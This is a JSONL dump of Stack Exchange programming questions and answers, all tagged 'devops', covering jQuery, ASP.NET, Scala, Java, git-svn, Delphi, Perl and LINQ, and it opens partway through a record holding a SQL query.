DESC\n```\n```\nor\n```\n```\nSELECT * from (\n    SELECT columns, count(table2.rev_id) As rev_count, \n        sum(table2.rev_rating) As sum_rev_rating,\n        sum(table2.rev_rating)/count(table2.rev_id) as rev_ratio\n    FROM table1\n        LEFT JOIN table2ON table1.dom_id = table2.rev_domain_from \n    WHERE dom_lastreview != 0 \n    AND rev_status = 1 \n    GROUP BY dom_url \n) X\nORDER BY rev_Ratio DESC\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:21.105024"}
{"id": "hf_29410ef34b64", "question": "<p>I am after documentation on using wildcard or regular expressions (not sure on the exact terminology) with a jQuery selector.</p>\n\n<p>I have looked for this myself but have been unable to find information on the syntax and how to use it. Does anyone know where the documentation for the syntax is?</p>\n\n<p>EDIT: The attribute filters allow you to select based on patterns of an attribute value.</p>\n", "question_body": "", "answer": "James Padolsey created a\nwonderful filter\nthat allows regex to be used for selection.\nSay you have the following\n```\ndiv\n```\n:\n```\n```\n<div class=\"asdf\">\n```\n```\nPadolsey's\n```\n:regex\n```\nfilter can select it like so:\n```\n```\n$(\"div:regex(class, .*sd.*)\")\n```\n```\nAlso, check the\nofficial documentation on selectors\n.\nUPDATE:\n```\n:\n```\nsyntax Deprecation JQuery 3.0\nSince\n```\njQuery.expr[':']\n```\nused in Padolsey's implementation is already deprecated and will render a syntax error in the latest version of jQuery, here is his code adapted to jQuery 3+ syntax:\n```\n```\njQuery.expr.pseudos.regex = jQuery.expr.createPseudo(function (expression) {\n    return function (elem) {\n        var matchParams = expression.split(','),\n            validLabels = /^(data|css):/,\n            attr = {\n                method: matchParams[0].match(validLabels) ?\n                    matchParams[0].split(':')[0] : 'attr',\n                property: matchParams.shift().replace(validLabels, '')\n            },\n            regexFlags = 'ig',\n            regex = new RegExp(matchParams.join('').replace(/^\\s+|\\s+$/g, ''), regexFlags);\n        return regex.test(jQuery(elem)[attr.method](attr.property));\n    }\n});\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:21.129465"}
{"id": "hf_df5a53a33a9a", "question": "<p>I just got a dedicated server from a hosting company, and for some reason, it didn't have IIS installed.\nIt did have .Net 2.0, though.</p>\n\n<p>So I installed IIS, but now my ASP.net websites won't work.\nI just get a 404, no event log entries, nothing...</p>\n\n<p>I noticed in the redistributable package information that:\n\"To access the features of ASP.NET, IIS with the latest security updates must be installed prior to installing the .NET Framework\"</p>\n\n<p>I also can't uninstall .Net, it just won't let me...</p>\n\n<p>Is there a way to reinstall .Net 2.0, or somehow do whatever it is it does to IIS to make it work?</p>\n\n<p>Thanks!\nDaniel</p>\n", "question_body": "", "answer": "run from the command line\n```\n```\naspnet_regiis -i\n```\n```\nYou may have to navigate to the folder it was installed.\nMine and the default is\n```\n```\nC:\\WINDOWS\\Microsoft.NET\\Framework\\v2.0.50727\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:21.190354"}
{"id": "hf_e68c297ab616", "question": "<p>How can I find out the decorated name that will be asigned to each method name ? I'm trying to find out what the decorated name is , so that I may export it , in a DLL .</p>\n", "question_body": "", "answer": "This question is pretty similar:\nExporting DLL C++ Class , question about .def file\n. The quick summary is that you probably want to use\n```\n__declspec(dllexport)\n```\nto let the compiler do the work of exporting your methods for you.\nMicrosoft changes the way they do function name mangling (or \"decorated names\" as they call them) with every compiler version, so you would probably run into future maintenance troubles if you try to manually export the mangled names. If you google for \"msvc decorated names\" there are some links that might help, but no guarantees.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:21.250503"}
{"id": "hf_d0c9eb76f6f4", "question": "<p>This may not be strictly programming related but more OS-structure related.</p>\n\n<p>Running Vista 32 bit on a brand new laptop with 3GB of memory, Running idle the system consumes about 40% of its memory. Other then the fact that this is outrageous on its own right, the OS <strong>should be able to fit all of the processes nicely into memory</strong> and not need to swap to disk EVER.<br>\nYet looking at the task manager I see processes having page faults all the time. Not many but still. for instance explorer.exe has one every second approximately.</p>\n\n<p>Why is that? Why does the OS feel the need to swap out pages although it has plenty of physical memory?</p>\n", "question_body": "", "answer": "A page fault doesn't necessarily mean that something was paged to disk. A modern OS has many levels of state that a page might be in, for example Windows will probably distinguish between a page of memory that is being actively used, and a page of memory that hasn't been touched in a while and could be paged to disk if needed. (This makes the pager's job easier, because it only has to look at the second kind of page to find out which ones it can page.) Now, how does a page get from the second state back to the first one? The kernel sets a bit on that page indicating that if anything accesses it, then the page will be marked as \"active\" and moved back to the first state. This results in a page fault.\nOther things that might cause a page fault are things like memory mapped files. An application requests that a file be mapped to memory, that is it just\nappears\nin memory whenever the app wants to read from it. Obviously it would be tremendously expensive to load the whole file into memory all at once, so the kernel just marks the memory space with the \"please page fault if this is ever accessed\" bit, and reads from the disk if the app ever touches that page.\nThe real situation is a lot more complex than the above, but that should give you a general idea of what might be going on.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:21.322970"}
{"id": "hf_bd9234718f08", "question": "<p>In Scala, is it possible to get the string representation of a type at runtime?  I am trying to do something along these lines:</p>\n\n<pre><code>def printTheNameOfThisType[T]() = {\n  println(T.toString)\n}\n</code></pre>\n", "question_body": "", "answer": "Note: this answer is out of date!\nPlease see answer using TypeTag for Scala 2.10 and above\nMay I recommend #Scala on freenode\n```\n```\n10:48 <seet_> http://stackoverflow.com/questions/190368/getting-the-string-representation-of-a-type-at-runtime-in-scala <-- isnt this posible?\n10:48 <seet_> possible\n10:48 <lambdabot> Title: Getting the string representation of a type at runtime in Scala - Stack Overflow,\n                  http://tinyurl.com/53242l\n10:49 <mapreduce> Types aren't objects.\n10:49 <mapreduce> or values\n10:49 <mapreduce> println(classOf[T]) should give you something, but probably not what you want.\n```\n```\nDescription of classOf", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:21.346773"}
{"id": "hf_e3b3002d1ad6", "question": "<p>An interesting issue came up recently.  We came across some code that is using <code>hashCode()</code> as a salt source for MD5 encryption but this raises the question: will <code>hashCode()</code> return the same value for the same object on different VMs, different JDK versions and operating systems?  Even if its not guaranteed, has it changed at any point up til now?</p>\n\n<p>EDIT: I really mean <code>String.hashCode()</code> rather than the more general <code>Object.hashCode()</code>, which of course can be overridden.</p>\n", "question_body": "", "answer": "No. From\nhttp://tecfa.unige.ch/guides/java/langspec-1.0/javalang.doc1.html\n:\nThe general contract of hashCode is as\n  follows:\nWhenever it is invoked on the same object more than once during an\n  execution of a Java application,\n  hashCode must consistently return the\n  same integer. The integer may be\n  positive, negative, or zero. This\n  integer does not, however, have to\n  remain consistent from one Java\n  application to another, or from one\n  execution of an application to another\n  execution of the same application.\n  [...]", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:21.370351"}
{"id": "hf_f3797cdc2056", "question": "<p>I am trying to store more than 1 data item at a single index in my linked-list.  All of the examples in my textbook seem to illustrate adding only 1 piece of data per index.  I'm assuming it is possible to add more?</p>\n\n<p>For example, using the Collections API to store an integer I would do the following:</p>\n\n<pre><code>LinkedList &lt;Integer&gt;linky = new LinkedList&lt;Integer&gt;();\nint num1 = 2, num2 = 22, num3 = 25, num4 = 1337;\nlinky.add(num1);\n</code></pre>\n\n<p>How would I go about adding num2, num3, and num4 to the same first index in the list?  Thanks guys.  </p>\n", "question_body": "", "answer": "Use a structure.\nFor example:\n```\n```\nprivate struct Node\n{\n    int Num1;\n    int Num2;\n    int Num3;\n}\n```\n```\n...\n```\n```\nLinkedList<Node> list = new LnkedList<Node>();\n\nNode n = new Node();\nn.Num1 = 10;\nn.Num2 = 100;\nn.Num3 = 1000;\nlist.Add(n);\n```\n```\nNote; I assume this is in C#; correct me if I'm wrong and I will fix the code ;)\nIf you have not gone over OOP yet in your book - then I would recommend giving it a try; it will help you solve problems like this.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:21.400063"}
{"id": "hf_88083c8f547d", "question": "<p>How do I manipulate images at the pixel level in C#?</p>\n\n<p>I need to be able to read/modify each bitmap pixel RGB values separately. </p>\n\n<p>A code sample would be appreciated.</p>\n", "question_body": "", "answer": "If you want speed, then\nLockBits\n.\nSee here for a good walkthrough by Bob Powell\n. If you just want to edit a few, then\nGetPixel\n/\nSetPixel\nshould do what you want.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:21.424813"}
{"id": "hf_4a6fa4864ee3", "question": "<p>How do you use the <strong>CSS</strong> <code>content</code> property to add <strong>HTML</strong> entities?</p>\n<p>Using something like this just prints <code>&amp;nbsp;</code> to the screen instead of the non-breaking space:</p>\n<pre class=\"lang-css prettyprint-override\"><code>.breadcrumbs a:before {\n  content: '&amp;nbsp;';\n}\n</code></pre>\n", "question_body": "", "answer": "Use the hex code for a non-breaking space. Something like this:\n```\n```\n.breadcrumbs a:before {\n  content: '>\\00a0';\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:21.448790"}
{"id": "hf_31ecb540ffe4", "question": "<p>How can I get Emacs style key bindings in Visual Studio?   Is it available in Settings? Do I need a Plug-in?</p>\n", "question_body": "", "answer": "A quick Live search for \"visual studio emacs\" gave\nthis page\n.  I'm not sure how thorough it is though (having never used emacs myself).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:21.472709"}
{"id": "hf_a70a5f9a65d8", "question": "<p>Is there a PHP function to find out the name of the caller function in a given function?</p>\n", "question_body": "", "answer": "```\ndebug_backtrace()\n```\nsupplies details of parameters, function/method calls in the current call stack.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:21.500297"}
{"id": "hf_daeb70528759", "question": "<p>My motivation for trying out git-svn is the effortless merging and branching. Then I noticed that man git-svn(1) says: </p>\n\n<blockquote>\n  <p>Running git-merge or git-pull is NOT recommended on a branch you plan\n  to dcommit from. Subversion does not represent merges in any\n  reasonable or useful fashion; so users using Subversion cannot see any\n  merges you've made. Furthermore, if you merge or pull from a git\n  branch that is a mirror of an SVN branch, dcommit may commit to the\n  wrong branch.</p>\n</blockquote>\n\n<p>Does this mean I cannot create a local branch from svn/trunk (or a branch), hack away, merge back into svn/trunk, then dcommit? I understand that svn users will see the same mess that merges in svn pre 1.5.x have always been, but are there any other drawbacks? That last sentence worries me, too. Do people routinely do these kinds of things?</p>\n", "question_body": "", "answer": "Creating local branches is definitely possible with git-svn. As long as you're just using local branches for yourself, and not trying to use git to merge between upstream svn branches, you should be fine.\nI have a \"master\" branch that I use to track the svn server. This is the only branch that I dcommit from. If I'm doing some work, I create a topic branch and work away on it. When I want to commit it, I do the following:\nCommit everything to the topic branch\ngit svn rebase\n(resolve any conflicts between your work and svn)\ngit checkout master\ngit svn rebase\n(this makes the next step a fast-forward merge, see Aaron's comments below)\ngit merge topic_branch\nresolve any merge conflicts\n(there shouldn't be any at this point)\ngit svn dcommit\nI also have another situation where I need to maintain some local changes (for debugging) that should never be pushed up to svn. For that, I have the above master branch but also a branch called \"work\" where I normally do work. Topic branches are branched off work. When I want to commit work there, I checkout master and use cherry-pick to pick the commits from the work branch that I want to commit to svn. This is because I want to avoid committing the three local change commits. Then, I dcommit from the master branch and rebase everything.\nIt is worthwhile running\n```\ngit svn dcommit -n\n```\nfirst to make sure that you are about to commit exactly what you intend to commit. Unlike git, rewriting history in svn is hard!\nI feel that there must be a better way to merge the change on a topic branch while skipping those local change commits than using cherry-pick, so if anybody has any ideas they would be welcome.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:21.523892"}
{"id": "hf_b8a20113ae86", "question": "<p>Up until recently, I've been storing multiple values into different hashes with the same keys as follows:</p>\n\n<pre><code>%boss = (\n    \"Allan\"  =&gt; \"George\",\n    \"Bob\"    =&gt; \"George\",\n    \"George\" =&gt; \"lisa\" );\n\n%status = (\n    \"Allan\"  =&gt; \"Contractor\",\n    \"Bob\"    =&gt; \"Part-time\",\n    \"George\" =&gt; \"Full-time\" );\n</code></pre>\n\n<p>and then I can reference <code>$boss(\"Bob\")</code> and <code>$status(\"Bob\")</code> but this gets unwieldy if there's a lot of properties each key can have and I have to worry about keeping the hashes in sync.</p>\n\n<p>Is there a better way for storing multiple values in a hash?  I could store the values as</p>\n\n<pre><code>        \"Bob\" =&gt; \"George:Part-time\"\n</code></pre>\n\n<p>and then disassemble the strings with split, but there must be a more elegant way.</p>\n", "question_body": "", "answer": "This is the standard way, as per\nperldoc perldsc\n.\n```\n```\n~> more test.pl\n%chums = ( \"Allan\" => {\"Boss\" => \"George\", \"Status\" => \"Contractor\"},\n           \"Bob\" => {\"Boss\" => \"Peter\", \"Status\" => \"Part-time\"} );\n\nprint $chums{\"Allan\"}{\"Boss\"}.\"\\n\";\nprint $chums{\"Bob\"}{\"Boss\"}.\"\\n\";\nprint $chums{\"Bob\"}{\"Status\"}.\"\\n\";\n$chums{\"Bob\"}{\"Wife\"} = \"Pam\";\nprint $chums{\"Bob\"}{\"Wife\"}.\"\\n\";\n\n~> perl test.pl\nGeorge\nPeter\nPart-time\nPam\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:21.560529"}
{"id": "hf_a3a1fffc3b35", "question": "<p>I am trying to figure out how to add a custom control to the iPhone MoviePlayer.\nFor an example of what I am trying to do see the following image.</p>\n\n<p><img src=\"https://i.stack.imgur.com/Zt5MG.jpg\" alt=\"alt text\"></p>\n\n<p>I am trying to add something like the controls on the right and left of the basic movie controls.</p>\n\n<p>I had done this in the Open SDK by adding a subclass to the playerview, but now in the official SDK and Apple moving to MPMoviePlayerController I am not sure how to do it.</p>\n\n<p>Also with my old 1.x firmware way it required me to capture touch events and hide/show the control myself. I am hoping there is a way that would do this with the standard controls, but if not, that is fine.</p>\n\n<p>Thanks in advance.</p>\n", "question_body": "", "answer": "This sample application\nthat Apple provides should help. From the description:\nDemonstrates how to use the Media\n  Player Framework to play a movie\n  full-screen. The sample contains code\n  to configure the movie background\n  color, playback controls and scaling\n  mode via the built-in Settings\n  application. Also shows how to draw\n  custom overlay controls on top of the\n  movie during playback.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:21.645120"}
{"id": "hf_6b890c9f36c5", "question": "<p>I've been working on a project in Delphi 7 where I wanted to have forms inherit components from other forms. I was able to get this working, but came across the following issues (and I'm going to post the solutions to hopefully help others in the future):</p>\n\n<ol>\n<li>In the .pas file of a form, I would change the form to inherit from some other form, but it wouldn't get the components from the ancestor form.</li>\n<li>For certain descendant forms, I would get the following error message when opening the form at design time: \"Error creating form: Ancestor for 'TAncestorForm' not found.\" I would have to first manually open the ancestor form, and then I could open the descendant form.</li>\n</ol>\n", "question_body": "", "answer": "First, for those who don't know how to inherit a form visually, you create the ancestor form as usual. Then go to File > New > Other. Select the tab with the name of the current project, and choose the form you want to inherit from. If you want to inherit from a form that's not part of the current project, open that form, right click it, and choose Add to Repository. Then you will be able to go to File > New > Other and select that form from the appropriate tab.\nGiven that, I came across issues because some of the descendant forms were already created, so I couldn't follow the process above. Also, I made some changes to forms from the standard code Delphi creates. I was able to resolve all issues with visual form inheritance using the following guidelines:\nThe .pas file of the descendant form must have the form's class inherit from the correct ancestor class, e.g.:\n```\ntype TMyForm = class(TAncestorForm)\n```\nThe first line in the .dfm of the descendant form must have the word\n```\ninherited\n```\ninstead of\n```\nobject\n```\n, e.g.:\n```\ninherited MyForm: TMyForm\n```\nEDIT: After double checking, the following is NOT required:\nThe .pas file of the ancestor form must have the standard global variable that Delphi creates, e.g.:\n```\nvar AncestorForm: TAncestorForm;\n```\nThe\n```\nuses\n```\nsection of the .dpr file of the project must have that same global variable as a comment after the unit's file name, e.g.:\n```\nunAncestor in 'unAncestor.pas' {AncestorForm}\n```\nNotes/Tips:\nBoth the ancestor form and the descendant form are allowed to be non-auto created if you want (Set in Project > Options > Forms > Auto-create forms).\nTo revert a property on a descendant form to the ancestor form's value, right click on the property in the Object Inspector, and choose Revert to inherited.\nTo revert all property values of a component to the ancestor's values, right click the component and choose Revert to inherited.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:21.690337"}
{"id": "hf_f33eab47587d", "question": "<p>I'm not sure how familiar people are with the hobbit monitoring system - <a href=\"http://hobbitmon.sourceforge.net/\" rel=\"nofollow noreferrer\">http://hobbitmon.sourceforge.net/</a> - but I've got a tricky question.</p>\n\n<p>I've got a custom test, which returns two NCV values. One value normally returns ~300 milliseconds, the other one returns 500 000 euro. Obviously, these two values don't graph very well together. :)</p>\n\n<p>Question is, can hobbit display two graphs for this one test? If so, how do I do it?</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "When accessed individually, I suspect that having a query that returns IQueryable would work - however, I expect that when this is part of a larger Expression, the expression interpreter will complain (which seems like what you are describing).\nHowever, I suspect that you might be able to break it down a bit. Try adding (to customer):\n```\n```\npublic static Expression<Func<Customer, bool>> HasActiveContract\n    {\n        get { return cust => cust.Contracts.Count() == 1; }\n    }\n```\n```\nThen you should be able to use:\n```\n```\nvar filtered = db.Customers.Where(Customer.HasActiveContract);\n```\n```\nObviously it is hard to run it (from here) to see what TSQL it comes up with, but I'd be surprised if that does roundtrips; I would expect that to do the COUNT() in the TSQL. As a topmost query, you should also be able to wrap this:\n```\n```\npublic IQueryable<Customer> CustomersWithActiveContract\n    {\n        get { return Customers.Where(Customer.HasActiveContract); }\n    }\n```\n```\nDoes any of that work?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:21.723300"}
{"id": "hf_1ecac9d415b8", "question": "<p><em>When using threads I sometimes visualise them as weaving together 3 or more dimensional interconnections between Objects in a Spatial context.  This isn't a general use case scenario, but for what I do it is a useful way to think about it.</em></p>\n<h3>Are there any APIs which you use which aid threading?</h3>\n<h3>Have you used threads in a manner which doesn't conceptualise as thread being a process?</h3>\n", "question_body": "", "answer": "Are there any APIs which you use which aid threading?\nYou mean appart from\n```\njava.util.concurrent\n```\n?\nFunctionalJava\ngot some constructs which aid in concurrent programming, as described in a multipart tutorial that starts\nhere\n.\nHave you used threads in a manner which doesn't conceptualise as thread being a process?\nYes, to the extent that threads doesn't conceptualise at all. Take an asynchronous task-runner for instance. It uses threads under the covers but I don't see them and I don't care about them. They are fully managed by the task-runner.\nUnder the covers, it is all just threads, but when we stop caring about the individual thread and just think about them as a number of slots where you can somehow put code in and have it run for a period of time, then that is when we start to reach for a higher level of abstraction.\nAgents/Actors is a common way to do this. An Actor is like a thread that has a lump of state, and then you can send it some code and say \"do this to your state when you have time\" or something along those lines.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:21.802826"}
{"id": "hf_a6bd760a95b2", "question": "<p>Ruby has a wealth of conditional constructs, including <code>if</code>/<code>unless</code>, <code>while</code>/<code>until</code> etc.</p>\n\n<p>The <code>while</code> block from C:</p>\n\n<pre><code>while (condition) {\n    ...\n}\n</code></pre>\n\n<p>can be directly translated to Ruby:</p>\n\n<pre><code>while condition \n    ...\nend\n</code></pre>\n\n<p>However, I can't seem to find a <em>built-in</em> equivalent in Ruby for a C-like <code>do ... while</code> block in which the block contents are executed at least once:</p>\n\n<pre><code>do { \n    ... \n} while (condition);\n</code></pre>\n\n<p>Any suggestions?</p>\n", "question_body": "", "answer": "...The best I could come up with is the\n```\nloop\n```\nconstruct with a\n```\nbreak\n```\nat the end:\n```\n```\nloop do\n    ...\n    break unless condition\nend\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:21.838052"}
{"id": "hf_bb1d6c773d68", "question": "<p>I'm creating some text boxes on my form programmatically which I need to reference later using FindControl.</p>\n\n<p>I've put the FindControl instruction in the page load method after the code which creates them but get an error:</p>\n\n<blockquote>\n  <p><strong>Object reference not set to an instance of an object.</strong></p>\n</blockquote>\n\n<p>I assume this is because the textbox controls are not created until later in the lifecycle and therefore cannot be referenced from within Page_Load. </p>\n\n<p>Can someone advise where in my code-behind I would need to place the FindControl instruction so that it can find these programmatically created text boxes?</p>\n", "question_body": "", "answer": "If you create textboxes programmatically you can use directly that to manipulate them. No need for FindControl (which would also be slower)\n```\n```\nTextBox txt = new TextBox();\n...\ntxt.Text = \"Text\";\n```\n```\nIf you need access in different methods you can just make txt a private variable of the class.\nIf you really need to use FindControl - are the textboxes added in the page (added to the Controls list of the page) when you call the function?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:21.861691"}
{"id": "hf_4396982ad452", "question": "<p>I have a Rails app that I need to deploy. Here are the facts:</p>\n\n<ul>\n<li>The app was developed on Windows and requires Windows binary gems</li>\n<li>The app is to be deployed onto an Open Solaris shared server (Joyent)</li>\n<li>I do not have permissions to install gems on the server</li>\n<li>For the non-binary gems, I can simply do a <code>rake gems:unpack</code> locally and then upload; this works just fine.</li>\n</ul>\n\n<p>So my question is, how do I get the <strong>binary</strong> gems I need onto my production server?</p>\n", "question_body": "", "answer": "The binary gems are the real problem. For all other gems you can use the\n```\nvendor/gems\n```\ndirectory (only possible with Rails 2.1+).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:21.885268"}
{"id": "hf_362b299d624a", "question": "<p>Delphi 2009 has changed its string type to use 2 bytes to represent a character, which allows support for unicode char sets.  Now when you get sizeof(string) you get length(String) * sizeof(char) .  Sizeof(char) currently being 2.  </p>\n\n<p>What I am interested in is whether anyone knows of a way which on a character by character basis it is possible to find out if it would fit in a single byte, eg find out if a char is ascii or Unicode.</p>\n\n<p>What I'm primarily interested in knowing, is before my string goes to a database (oracle, Documentum) how many bytes the string will use up.</p>\n\n<p>We need to be able to enforce limits before hand and ideally (as we have a large installed base) without having to change the database. If a string field allows 12 bytes, in delphi 2009 a string of length 7 would always show as using 14 bytes even though once it got to the db it would only use 7 if ascii or 14 if double byte, or somewhere in between if a mixture.</p>\n", "question_body": "", "answer": "You could check the value of the character:\n```\n```\nif ord(c) < 128 then\n    // is an ascii character\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:21.929752"}
{"id": "hf_6f69cf217754", "question": "<p>I wonder if there is any good guideline for system administrators to calculate the resources needed to host an ASP.NET website? I want to do some estimates on the processing power needed so I know what kind of VPS/Cloud I need to get.</p>\n", "question_body": "", "answer": "Load testing will be your best solution.\nApplications differ in how they scale depending on a large number of variables including types of problem solving, approach to solution and other factors.\n100 concurrent users consuming 10% CPU does not mean 500 concurrent at 50%, it could be 20% or it could be 100%.\nYour bottleneck could be processor or memory or network bandwidth.\nWithout actually placing the load on your application, any estimation will be merely a guess and will quite likely be proven incorrect.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:21.953108"}
{"id": "hf_682d90433458", "question": "<p>I am writing a drop-in replacement for a legacy application in Java.  One of the requirements is that the ini files that the older application used have to be read as-is into the new Java Application.  The format of this ini files is the common windows style, with header sections and key=value pairs, using # as the character for commenting.</p>\n\n<p>I tried using the Properties class from Java, but of course that won't work if there is name clashes between different headers.</p>\n\n<p>So the question is, what would be the easiest way to read in this INI file and access the keys?</p>\n", "question_body": "", "answer": "The library I've used is\nini4j\n.  It is lightweight and parses the ini files with ease.  Also it uses no esoteric dependencies to 10,000 other jar files, as one of the design goals was to use only the standard Java API\nThis is an example on how the library is used:\n```\n```\nIni ini = new Ini(new File(filename));\njava.util.prefs.Preferences prefs = new IniPreferences(ini);\nSystem.out.println(\"grumpy/homePage: \" + prefs.node(\"grumpy\").get(\"homePage\", null));\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:21.987521"}
{"id": "hf_d293e9e79b43", "question": "<p>We are trying to build a High-Volume Orders Record System.\nThere are three primary tables:\n1. Orders\n2. OrderDetails\n3. OrderShipment</p>\n\n<p>The Shipment table contains n record per order and any record shipment entry can be changed before the Customer accepts th order, after which it is frozen. (A business requirement)</p>\n\n<p>Although this may not happen in real world scenarios...\nduring our load tests, we are getting System.Data.Linq.ChangeConflictException exceptions.\nWrapping up the submit inside a transacion is not helping either.\nCan't we force LINQ to get a lock on the row for the entire duration of the update operation?</p>\n\n<p>Is there any other way to get over this?</p>\n", "question_body": "", "answer": "If you are having genuine issues with concurrent updates on the same data, then you might consider performing the entire operation in a transaction - i.e. getting the data\nand\ncommitting it. As long as you treat the get/update/commit as a short-lived, atomic operation (i.e. you don't pause for user-input in the middle) it should be OK.\nIn particular, with a serializable isolation level, nobody can update data that you have a read lock on (i.e. anything you have queried). The only problem is that this might lead to deadlock scenarios if different queries are reading data in different orders. AFAIK, there is no way to get LINQ-to-SQL to issue the (UPDLOCK) hint, which is a shame.\nEither a TransactionScope or a SqlTransaction would do, as long as they are set as serializable isolation (which is the default for TransactionScope).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:22.048401"}
